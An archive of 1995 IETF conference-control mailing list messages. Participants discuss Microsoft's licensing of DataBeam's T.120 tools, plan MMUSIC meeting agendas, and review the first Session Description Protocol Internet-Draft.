     chief executive officer of DataBeam.  "Their selection of an open 
     standard clearly was made in the best interest of their customers, who 
     place a high value on product interoperability."
     
     DataBeam's multi-point data conferencing technology provides the 
     communications infrastructure for a wide range of applications, 
     including joint editing of documents at remote sites, delivery of 
     sales presentations to clients around the country, and annotation of 
     documents from different locations.
     
     "Real-time collaboration in the Windows environment will provide many 
     benefits to Microsoft customers," said Paul Maritz, senior vice 
     president at Microsoft.  "We chose to integrate DataBeam's technology 
     into our product plans because DataBeam has developed a solid 
     implementation of T.120.  Simply stated, T.120 is the underlying 
     technology that will allow people in diverse locations to collaborate 
     as though they were in the same room."
     
     The T.120 standards for multi-point communications enable conferencing 
     products from multiple vendors to seamlessly communicate with one 
     another.  These standards establish common protocols for multi-point 
     data transmission over a variety of network types, and they define 
     recognized tasks and procedures for common real-time applications such 
     as document conferencing and file transfer.  More than 50 
     telecommunications and computer-industry firms have publicly stated 
     their support for the T.120 standards through their work with the 
     International Multimedia Teleconferencing Consortium (IMTC).
      
     "This agreement between DataBeam and Microsoft on T.120 technology 
     raises our confidence that there's enough industry concensus around 
     the standard for interoperability to become a reality in the near 
     future," said Mike Vereb, advisor to the Pennsylvania Department of 
     Education's teleteaching project.  "Multi-point data communications is 
     critical to the expansion of our document conferencing network, and we 
     need this level of interoperability to roll out a complete solution to 
     our users."
     
     DataBeam develops and markets document-conferencing applications for 
     end users and licenses collaborative-computing toolkits to third-party 
     developers.  DataBeam's application products, including its FarSite? 
     document conferencing software, are used by hundreds of organizations, 
     including BASF, General Electric, Johnson & Johnson, NASA and Philips 
     Semiconductor, to help geographically dispersed users collaborate on 
     shared tasks in real time.  The company was founded in 1983 and is 
     privately held.
     
     Founded in 1975, Microsoft (NASDAQ "MSFT") is the worldwide leader in 
     software for personal computers.  The company offers a wide range of 
     products and services for business and personal use, each designed 
     with the mission of making it easier and more enjoyable for people to 
     take advantage of the full power of personal computing every day.
     
     # # #
     
     Microsoft and Windows are either registered trademarks or trademarks 
     of Microsoft Corp. in the United States and/or other countries.
     FarSite and DataBeam are registered trademarks of DataBeam Corp.  
     
     
     
     For further information contact:
     
     Jessica Solodar or Deborah Parrott
     Rogers Communications (for DataBeam)
     (617) 224-1100
     
     Jill Pembroke or Delona Lang 
     Pembroke Resources, Inc. (for Microsoft) 
     (503) 224-9880

From owner-confctrl@ISI.EDU  Fri Mar 10 09:32:36 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA01650>; Fri, 10 Mar 1995 01:33:19 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA01646>; Fri, 10 Mar 1995 01:33:18 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03488>; Fri, 10 Mar 1995 01:33:14 -0800
Received: from mortimer.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.14188-0@bells.cs.ucl.ac.uk>; Fri, 10 Mar 1995 09:32:42 +0000
To: Ruth Lang <rlang@std.sri.com>
Cc: confctrl
Subject: Re: FYI: Microsoft Licenses DataBeam's T.120-Based Tools
In-Reply-To: Your message of "Thu, 09 Mar 95 17:06:06 PST." <9503100106.AA05861@std.sri.com>
Date: Fri, 10 Mar 95 09:32:36 +0000
Message-Id: <1664.794827956@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >FYI.  I received this from Jon Steer who posted a message to rem-conf earlier
 >this week looking for a comment on the enclosed and on impact to conference
 >control related work.
 
Ruth

hmmmm - well looks like Microsoft just made another stupid decision -
so whats newa (actually, i am very impressed by the Internet
Assistent, but thats not realy relevant here...)

can we try to inform the relecvant peopel there about the "power of
multicast" and non-scalability of T.120.....

but (as we discussed here) i guess i na circuit switched world, T.120
ain't so bad...

this point here:
 >     The T.120 standards for multi-point communications enable conferencing 
 >     products from multiple vendors to seamlessly communicate with one 
 >     another.  

anyone who's actually used a large scale conferencing system based
round this (such as the UK national video pilt on Superjanet that uses
circuit emulation and T.120 and MCUs etc, as opposed to the Superjanet
mbone...), will know that the word "seamlessly" here is a laughable
description of what happens with todays best products in this area for
real multipoint....

cheers
jon

From owner-confctrl@ISI.EDU  Fri Mar 10 14:59:23 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09039>; Fri, 10 Mar 1995 07:00:52 -0800
Received: from nuplanet.BitScout.COM (nuplanet.MV.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09035>; Fri, 10 Mar 1995 07:00:48 -0800
Received: by nuplanet.BitScout.COM (8.6.9/1.2remote (Problems to postmaster@bitscout.com))
	id OAA27838; Fri, 10 Mar 1995 14:59:23 GMT
Message-Id: <199503101459.OAA27838@nuplanet.BitScout.COM>
Subject: Re: FYI: Microsoft Licenses DataBeam's T.120-Based Tools
To: J.Crowcroft@cs.ucl.ac.uk (Jon Crowcroft)
Date: Fri, 10 Mar 1995 14:59:23 +0000 (GMT)
From: "jon steer" <jsteer@nuplanet.BitScout.COM>
Cc: rlang@std.sri.com, confctrl
In-Reply-To: <1664.794827956@cs.ucl.ac.uk> from "Jon Crowcroft" at Mar 10, 95 09:32:36 am
Reply-To: jsteer@BitScout.COM
Organization: BitScout Software,Inc
Address: 40 Berkeley St, Nashua N.H.
Phone: (603)-889-1185
Video: (603)-889-1125
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
Content-Length: 2235      

Jon Crowcroft ,
> 
> 
> 
>  >FYI.  I received this from Jon Steer who posted a message to rem-conf earlier
>  >this week looking for a comment on the enclosed and on impact to conference
>  >control related work.
>  
> Ruth
> 
> hmmmm - well looks like Microsoft just made another stupid decision -
> so whats newa (actually, i am very impressed by the Internet
> Assistent, but thats not realy relevant here...)
> 
> can we try to inform the relecvant peopel there about the "power of
> multicast" and non-scalability of T.120.....

 I am sure that Microsoft knows about multicast, they have support for it in
 their current IP stack.

> 
> but (as we discussed here) i guess in a circuit switched world, T.120
> ain't so bad...

 What makes you think that the Microsoft usage of T.12x will be confined
 only to a circuit switched world ?  The DataBeam stack has a mode where it
 can be used on top of a WinSockets stack.

 It is strictly conjecture on my part, however, the timing of the
 announcement coupled with the timing of several new Microsoft ventures
 (Microsoft Network, Microsoft TV and the "Notes killer") makes me believe
 that Microsoft is probably planning to release a conferenceing product
 based on T.12x technology this year. The primary use of conferencing
 for them will be  to communicate with the rest of the world on their
 networks. Microsoft has a large training, education and support system that
 desparately wants videoconferencing.

 Microsoft's "Notes killer" product is probably looking for something
 sexy to differentiate itself from Notes and video is one of those things.

 From my viewpoint, any other conference control protocols could vanish
 overnight as a result of Microsoft making available mass-market
 implementations of conferencing systems based on T.12x.

 It would be a shame to be locked into MCU-centric protocols like
 T.12x, but it is an entirely realistic future.

 Comments?


 regards,
 jon
=============================================================================
 Jon Steer -Toolsmithing,Device Drivers,Communications,H.320 Systems Consulting
 BitScout Software,Inc	40 Berkeley St, Nashua N.H. 03060
 phone:(603)889-1185	video: (603)889-1125  E-mail: jsteer@BitScout.com

From owner-confctrl@ISI.EDU  Fri Mar 10 15:10:23 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09548>; Fri, 10 Mar 1995 07:17:22 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09544>; Fri, 10 Mar 1995 07:17:21 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA08790>; Fri, 10 Mar 1995 07:16:02 -0800
Received: from speedy.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.01372-0@bells.cs.ucl.ac.uk>; Fri, 10 Mar 1995 15:10:32 +0000
To: jsteer@BitScout.COM
Cc: confctrl
Subject: Re: FYI: Microsoft Licenses DataBeam's T.120-Based Tools
In-Reply-To: Your message of "Fri, 10 Mar 95 14:59:23 GMT." <199503101459.OAA27838@nuplanet.BitScout.COM>
Date: Fri, 10 Mar 95 15:10:23 +0000
Message-Id: <1487.794848223@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >> can we try to inform the relecvant peopel there about the "power of
 >> multicast" and non-scalability of T.120.....
 
 > I am sure that Microsoft knows about multicast, they have support for it in
 > their current IP stack.

in wolverine, yes....

 >> but (as we discussed here) i guess in a circuit switched world, T.120
 >> ain't so bad...
 
 > What makes you think that the Microsoft usage of T.12x will be confined
 > only to a circuit switched world ?  The DataBeam stack has a mode where it
 > can be used on top of a WinSockets stack.

but T.120 is inappropriate for multicast -its based round a classic
telco/ITU request/response/indication model.....it doesn't scale (well, it
scales in messages as O(n**2) with n particpants)

 > It is strictly conjecture on my part, however, the timing of the
 > announcement coupled with the timing of several new Microsoft ventures
 > (Microsoft Network, Microsoft TV and the "Notes killer") makes me believe
 > that Microsoft is probably planning to release a conferenceing product
 > based on T.12x technology this year. The primary use of conferencing
 > for them will be  to communicate with the rest of the world on their
 > networks. Microsoft has a large training, education and support system that
 > desparately wants videoconferencing.

yes, it certinaly looks like they are heading that way - though the
internet assistent smacks of a replacement for Notes:-)
 
 
 > It would be a shame to be locked into MCU-centric protocols like
 > T.12x, but it is an entirely realistic future.

 > Comments?

agree completely that this is a (sadly) plausible future
scenario!

 jon


From owner-confctrl@ISI.EDU  Fri Mar 10 06:38:56 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA01580>; Fri, 10 Mar 1995 14:40:15 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA01575>; Fri, 10 Mar 1995 14:40:10 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA21250; Fri, 10 Mar 95 14:38:56 PST
Date: Fri, 10 Mar 95 14:38:56 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9503102238.AA21250@vlsi.cs.caltech.edu>
To: confctrl
Subject: MMusic at upcoming IETF
Cc: rem-conf@es.net, rlang@std.sri.com, mhandley@cs.ucl.ac.uk,
        aweinrib@ibeam.jf.intel.com, mankin, schooler@cs.caltech.edu

Hi all,

MMusic has been scheduled to meet at the upcoming IETF on Wednesday,
April 5 from 9:00 a.m. to 11:30 a.m.  This session will be multicast.
The tentative list of topics to be presented and discussed:

- Session Description Protocol.  At the December meeting, Mark
Handley's presentation of the session description protocol was cut
short due to time constraints.  He will review the description of the
current protocol and present suggested functionality extensions.  We
expect to have a draft document by then.

- Working Group Charter.  The charter is in the process of being
modified to reflect changes in the chairship, a refocusing/clarification 
of the technical direction of the working group, and adoption of
milestones to reflect this direction.  A draft of the new charter
containing details on these changes will be sent to the mailing list
for your review in advance of the meeting.

- PCS Overview.  A brief presentation will be given on the Personal 
Conferencing Specification, a consortium-based effort.

- Agreement Protocol.  An update on the status of the agreement
protocol document.

- Coordination Protocol.  Begin a discussion of the inter-media agent
coordination protocol issues, as a next item for the working group.

Comments and further suggestions are most welcome.  As the time nears,
a more official agenda will be posted here and via the ietf-announce
mailing list.

E.


From owner-confctrl@ISI.EDU  Fri Mar 10 09:01:44 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA12438>; Fri, 10 Mar 1995 18:37:50 -0800
Received: from pjl53ig.i-p.attmail.com (PJL53IG.I-P.MAIL.ATT.NET) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA12432>; Fri, 10 Mar 1995 18:37:47 -0800
Date: Fri, 10 Mar 1995 09:01:44 +0000
From: kkrechmer@attmail.com (Ken Krechmer)
Received: from kkrechmer by attmail; Sat Mar 11 02:29:29 GMT 1995
Subject: Address change
To: confctrl
Content-Type: Text
Message-Id: <winATT-2.500-kkrechmer-1557>

Please change my e-mail address from: kkrechmer@attmail.com
to: krechmer@ix.netcom.com

Thank you

Ken Krechmer

From owner-confctrl@ISI.EDU  Fri Mar 10 19:31:10 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA14081>; Fri, 10 Mar 1995 19:40:06 -0800
Received: from pjl53ig.i-p.attmail.com (PJL53IG.I-P.MAIL.ATT.NET) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA14077>; Fri, 10 Mar 1995 19:40:04 -0800
Date: Fri, 10 Mar 1995 19:31:10 +0000
From: kkrechmer@attmail.com (Ken Krechmer)
Received: from kkrechmer by attmail; Sat Mar 11 03:35:38 GMT 1995
Subject: T.120
To: confctrl
Content-Type: Text
Message-Id: <winATT-2.500-kkrechmer-1560>

I have been reading the e-mail responses on this reflector to Microsoft's 
announcement of T.120 data conferencing support.  Note that T.120 data 
conferencing will also be supported in H.320 (ISDN video phone) and H.324 
(PSTN video phone). I think that MCU based multipoint conferencing solutions 
are designed for latency sensivitive traffic.  However some of the work on 
T.12x Recommendations extends well beyond isochronous requirements (e.g. T.124
Generic Conference Control which deals with registration and related issues). 

It seems to me that the concerns about or interworking with MCU based 
conferencing solutions could be developed into a discussion paper.   I would 
be glad to pass such a discussion paper to the T.120 reflector and to mention 
it at the SG 8 meeting.  ITU protocol prevents me from bringing in such a 
paper at this late date. 

I will be attending the next Study Group 8 Q10 meeting (T.120) in Geneva for 
the next two weeks (March 13-23, 1995).  I do pick up my e-mail while in 
Geneva. 

Please use the e-mail address krechmer@ix.netcom.com to respond. 

Ken Krechmer Communications Standards Review Palo Alto, CA  

From owner-confctrl@ISI.EDU  Thu Mar 16 12:10:48 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA23011>; Thu, 16 Mar 1995 20:12:13 -0800
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA23006>; Thu, 16 Mar 1995 20:12:12 -0800
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (sun-barr.Sun.COM)
	id AA21000; Thu, 16 Mar 95 20:11:47 PST
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA08268; Thu, 16 Mar 1995 20:11:43 -0800
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA12831; Thu, 16 Mar 1995 20:10:48 -0800
Date: Thu, 16 Mar 1995 20:10:48 -0800
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9503170410.AA12831@auckland.Eng.Sun.COM>
To: J.Crowcroft@cs.ucl.ac.uk, rlang@std.sri.com
Subject: Re: Format of time values in "sd" packets
Cc: rem-conf@es.net, confctrl
Reply-To: finlayson@Eng.Sun.COM
X-Sun-Charset: US-ASCII

>  >>I realize that the "sd" packet format is probably not officially defined
>  >>anywhere (and it's kind of a crock anyway), but this appears to be a bug.
> 
> > the confctrl group have discussed it - i think the upcoming IETF will

.....

> > feature a bit more on this....hopefully an internet-draft spec for sd
> > packet format and protocol rules will be out real soon now....(i've
> > seen a pre draft draft...)
> 
> Yes.  This is a planned agenda item.  Stay tuned to confctrl@isi.edu
> for more information.

For future reference, I think this sort of thing should really be specified
in something like XDR.  This certainly would have prevented this problem
with how numbers are represented.  (Of course, XDR is not yet an official
IETF standard, as was recently discussed ad nauseum on the "ietf" list :-)

	Ross.

From owner-confctrl@ISI.EDU  Mon Mar 27 20:56:55 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA19080>; Mon, 27 Mar 1995 10:59:03 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA19076>; Mon, 27 Mar 1995 10:59:03 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA26482>; Mon, 27 Mar 1995 10:59:00 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.28370-0@bells.cs.ucl.ac.uk>; Mon, 27 Mar 1995 19:58:31 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666 or +44 71 387 7050 ext 3666
To: confctrl
Subject: Session Description Protocol draft available.
Date: Mon, 27 Mar 95 19:56:55 +0100
Message-Id: <3778.796330615@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk



The Session Description Protocol (sd protocol) draft that we talked
about at the San Jose IETF was submitted to the Internet Drafts editor
on Friday.  I haven't heard anything back yet, so this draft is not
yet in the internet-drafts directories, but it is available from our
WWW server.

The temporary URL's are:

http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.txt
and
http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.ps

For those of you that proofread early drafts - many thanks - this version
probably contains quite a number of changes from the versions you've seen.

Comments are of course welcome, but I hope we'll have time to discuss
this properly in the WG meeting in Danvers.

Mark


From owner-confctrl@ISI.EDU  Mon Mar 27 04:12:14 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA23224>; Mon, 27 Mar 1995 12:12:46 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA23218>; Mon, 27 Mar 1995 12:12:33 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA21309; Mon, 27 Mar 95 12:12:14 PST
Date: Mon, 27 Mar 95 12:12:14 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9503272012.AA21309@vlsi.cs.caltech.edu>
To: confctrl
Subject: MMusic Agenda for Danver's IETF
Cc: schooler@cs.caltech.edu, mhandley@cs.ucl.ac.uk, mankin, rlang@std.sri.com,
        aweinrib@ibeam.jf.intel.com, rem-conf@es.net


Hi All,

MMusic has been scheduled to meet at the upcoming IETF on Wednesday,
April 5 from 9:00 a.m. to 11:30 a.m.  This session will be multicast.
The latest agenda:

  - Working Group recharter 
    (Ruth Lang 20 min)

  - Agreement protocol update 
    (Abel Weinrib, 5 min)

  - Overview of PCS: personal conferencing specification 
    (Abel Weinrib, 10 min)

  - SDP: session description protocol 
    (Mark Handley, 45 min)

  - Coordination protocol discussion 
    (Henning Schulzrinne, 20 min + ???)

  - WWW and E-mail based session prototypes 
    (Vinay Kumar, 20 min)
 

Comments and feedback welcome.  If anyone else is interested in
participation, please let us know.

 

From owner-confctrl@ISI.EDU  Tue Mar 28 04:38:23 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA28558>; Tue, 28 Mar 1995 08:51:24 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA28554>; Tue, 28 Mar 1995 08:51:23 -0800
Received: from IETF.nri.reston.VA.US (ietf.cnri.reston.va.us) by quark.isi.edu (5.65c/5.61+local-20)
	id <AA16268>; Tue, 28 Mar 1995 07:38:08 -0800
Received: from [127.0.0.1] by IETF.CNRI.Reston.VA.US id aa03363;
          28 Mar 95 9:38 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl
From: Internet-Drafts@CNRI.Reston.VA.US
Reply-To: Internet-Drafts@CNRI.Reston.VA.US
Subject: I-D ACTION:draft-ietf-mmusic-sdp-00.txt, .ps
Date: Tue, 28 Mar 95 09:38:23 -0500
Sender: cclark@CNRI.Reston.VA.US
Message-Id:  <9503280938.aa03363@IETF.CNRI.Reston.VA.US>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts 
directories. This draft is a work item of the Multiparty Multimedia Session
Control Working Group of the IETF.                                         

       Title     : SDP: Session Description Protocol                       
       Author(s) : M. Handley, V. Jacobson
       Filename  : draft-ietf-mmusic-sdp-00.txt, .ps
       Pages     : 18
       Date      : 03/27/1995

The sd session directory tool has been in use for some time on the Mbone  
for announcing multicast sessions.  This document describes an exhanced 
version of the sd protocol (SDP v2), and explains the extensions to the 
protocol that have become desirable.             
                          
This document is a product of the Multiparty Multimedia Session Control 
(MMUSIC) working group of the Internet Engineering Task Force.  Comments 
are solicited and should be addressed to the working group's mailing list 
at confctrl@isi.edu and/or the authors.                                    

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sdp-00.txt".
 Or 
     "get draft-ietf-mmusic-sdp-00.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa                                   
        Address:  ftp.is.co.za (196.4.160.2)	
	                                                
     o  Europe                                   
        Address:  nic.nordu.net (192.36.148.17)	
	                                                
     o  Pacific Rim                              
        Address:  munnari.oz.au (128.250.1.21)	
	                                                
     o  US East Coast                            
        Address:  ds.internic.net (198.49.45.10)	
	                                                
     o  US West Coast                            
        Address:  ftp.isi.edu (128.9.0.32)  	
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-00.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-00.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
For questions, please mail to Internet-Drafts@cnri.reston.va.us.
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19950327111906.I-D@CNRI.Reston.VA.US>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sdp-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19950327111906.I-D@CNRI.Reston.VA.US>

--OtherAccess--

--NextPart--

From owner-confctrl@ISI.EDU  Tue Mar 28 15:38:27 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA29034>; Tue, 28 Mar 1995 08:53:01 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA29030>; Tue, 28 Mar 1995 08:53:01 -0800
Received: from ceres.fokus.gmd.de by quark.isi.edu (5.65c/5.61+local-20)
	id <AA12294>; Tue, 28 Mar 1995 03:43:10 -0800
Message-Id: <199503281143.AA12294@quark.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Tue, 28 Mar 1995 13:38:55 +0200
X-Mailer: exmh version 1.5.3 12/28/94
To: confctrl
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Subject: Comments on sd draft
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 28 Mar 1995 13:38:27 +0200
Sender: schulzrinne@fokus.gmd.de

Just a few quick, random comments, mostly nits, on the 00 sd draft.

1) 8859 is not sufficient; you probably mean 8859-1 (8859-3, for 
example, is
   Hebrew or something like that).

2) There should be a remark earlier that this protocol differs from 
'standard'
Internet protocol convention (NVT ASCII, CRLF line separator).

3) If you allow \n, you also must implicitly allow \\ or outlaw the 
backslash. Is this escape valid for all character sets? Suggestion: get 
rid of \n or make the content HTML :-).

4) The specification should note that it is not sufficient to build a 
session announcement tool (delivered through whatever means); in 
particular, the multicast address assignment algorithm is missing.

5) Some mechanism for 'registering' attribute values should be 
mentioned.
Is the usual x- escape recommended?

6) ASN/1 -> ASN.1, I believe.

7) A bit of guidance about things like whitespace might help. Maybe 
even a more formal notation like HTTP uses. What about control 
characters (tab, ^A, ^H, etc.)? I'd want to avoid somebody sending 
xterm control codes...

8) =u: I presume you mean URI (so that whatever URN comes along in a 
few months is ok too). In any event, the relevant RFC should be cited.

9) it's kb (1000) not Kb (1024); the particular data rate seems to 
include some lower layers. This value will likely be different with 
RTP; it should be spelled out where you get the number from.

10) The encodings might want to reference the ones in the RTP profile. 
The two sets should be roughly the same.

11) p.11: sdp means what?

12) Maybe phone number and email should reference the same format as in 
RTCP? (This allows pasting into my automatic dialer and discourages the 
US-centric phone numbers like (617) 555-1212 instead of +1 617 555 
1212.)

13) Interpreting bandwidth as 'application defined' is a bit vague 
unless you implicitly define a 'default' application that sets the 
standard for each media/encoding. If I want to build an application 
that understands jpeg, do I have to reverse engineer whichever JPEG 
application(s) already exist?

14) Having a protocol that implies 4-byte IP addresses (p. 2) seems a 
bit short-sighted just as IPng is going to Proposed. Other references 
implying IPv4 should also probably be made more general, but they are 
harmless since they are text strings.

There are also some typos to chase after.

The issue of whether a single encoding or a list of candidates is 
better also remains to be resolved. I tend to favor a list, as a list 
conveys more information (e.g., I might choose a different viewer that 
supports all likely encodings rather than the one listed in the sd 
announcement, which may have nothing to do with the one currently in 
use). This becomes more important as receiver-feedback scaling might 
lead to switching between algorithms. Also, it might provide some 
possibility for better error indication, avoiding the 'my video tool 
says it doesn't understand the current encoding; sd says, only H261 is 
to be used; ivs understands H.261'.  This also allows some early 
warning as in 'I saw you might be using FOOBAR in your session. I'm 
doing a demo at the White House and my new video widget doesn't 
understand FOOBAR. Would you mind not using it?'.

Henning
Schulzrinne




From owner-confctrl@ISI.EDU  Tue Mar 28 21:17:54 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA06494>; Tue, 28 Mar 1995 11:22:07 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA06490>; Tue, 28 Mar 1995 11:22:06 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA17861>; Tue, 28 Mar 1995 11:19:55 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17003-0@bells.cs.ucl.ac.uk>; Tue, 28 Mar 1995 20:19:31 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Cc: confctrl
Subject: Re: Comments on sd draft
In-Reply-To: Your message of "Tue, 28 Mar 95 13:38:27 +0100." <199503281143.AA12294@quark.isi.edu>
Date: Tue, 28 Mar 95 20:17:54 +0100
Message-Id: <3104.796418274@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>Just a few quick, random comments, mostly nits, on the 00 sd draft.
>
>1) 8859 is not sufficient; you probably mean 8859-1 (8859-3, for 
>example, is
>   Hebrew or something like that).

Agreed. This was an oversight on my part.

>3) If you allow \n, you also must implicitly allow \\ or outlaw the 
>backslash. Is this escape valid for all character sets? Suggestion: get 
>rid of \n or make the content HTML :-).

Oh dear...

\n was in my first draft, then after implementing sdr I removed it.
Van put it back in the latest draft with the proviso that it should be
avoided.  I added the unicode stuff afterwards.  If we're going to
leave the unicode suggestion in, then I prefer to remove \n.  I prefer
not to use HTML (though I toyed with it briefly in sdr).  It tends to
lead to long descriptions, which is not really the intention - the URL
(URI?) field is for that.

>4) The specification should note that it is not sufficient to build a 
>session announcement tool (delivered through whatever means); in 
>particular, the multicast address assignment algorithm is missing.

Agreed.

>5) Some mechanism for 'registering' attribute values should be 
>mentioned.
>Is the usual x- escape recommended?

So far, we haven't done that with sd.  It's probably not a bad idea though.

>7) A bit of guidance about things like whitespace might help. Maybe 
>even a more formal notation like HTTP uses. What about control 
>characters (tab, ^A, ^H, etc.)? I'd want to avoid somebody sending 
>xterm control codes...

well, we have:

"In general <value> is either a number of fields delimited by a single
space character or free format string."

and

"Text records such as the session name and information may contain any  8
bit  ISO  8859  character with the exceptions of 0x0a (newline) and 0x0d
(carriage return).  Carriage Return is prohibited, and Newline  is  used
to end a record."

I think the word "printable" got dropped somewhere here (it's in the
i= definition).  Between them they're fairly explicit.

If I get time, I'll have a go at a grammar.

>8) =u: I presume you mean URI (so that whatever URN comes along in a 
>few months is ok too). In any event, the relevant RFC should be cited.

Agreed

>10) The encodings might want to reference the ones in the RTP profile. 
>The two sets should be roughly the same.

Agreed.  I was listing the ones in use today, but a reference would be
good.  However not all sessions are RTP based (imm, wb, ...).

In particular, I don't like the "jpg" (still image jpeg) and "jpeg"
(motion jpeg) fields.

I was wondering whether we needed to distinguish RTP formats from none
RTP formats in some way, but in the end left it out of this draft.

>11) p.11: sdp means what?

I think the word "attribute" has been omitted.

>12) Maybe phone number and email should reference the same format as in 
>RTCP? (This allows pasting into my automatic dialer and discourages the 
>US-centric phone numbers like (617) 555-1212 instead of +1 617 555 
>1212.)

Agreed.  But how does this deal with where you should or shouldn't add
a leading zero if you're in the same country.  For instance +44 171
387 7050 is 0171 387 7050 from within the UK.  Dialing 0044 171 387
7050 simply doesn'k work.  There should be a way to indicate what to
add if you're in the relevant country.  +44 (0) 171 387 7050 is
sometimes used as a convention for this.  What's the situation elsewhere?

>13) Interpreting bandwidth as 'application defined' is a bit vague 
>unless you implicitly define a 'default' application that sets the 
>standard for each media/encoding. If I want to build an application 
>that understands jpeg, do I have to reverse engineer whichever JPEG 
>application(s) already exist?

Hmm.  The current wording is very deliberate.  We don't believe we
have enough experience to specify the meaning of bandwidth precisely.
There is an optional modifier for this purpose which is also currently
undefined.  

>14) Having a protocol that implies 4-byte IP addresses (p. 2) seems a 
>bit short-sighted just as IPng is going to Proposed. Other references 
>implying IPv4 should also probably be made more general, but they are 
>harmless since they are text strings.

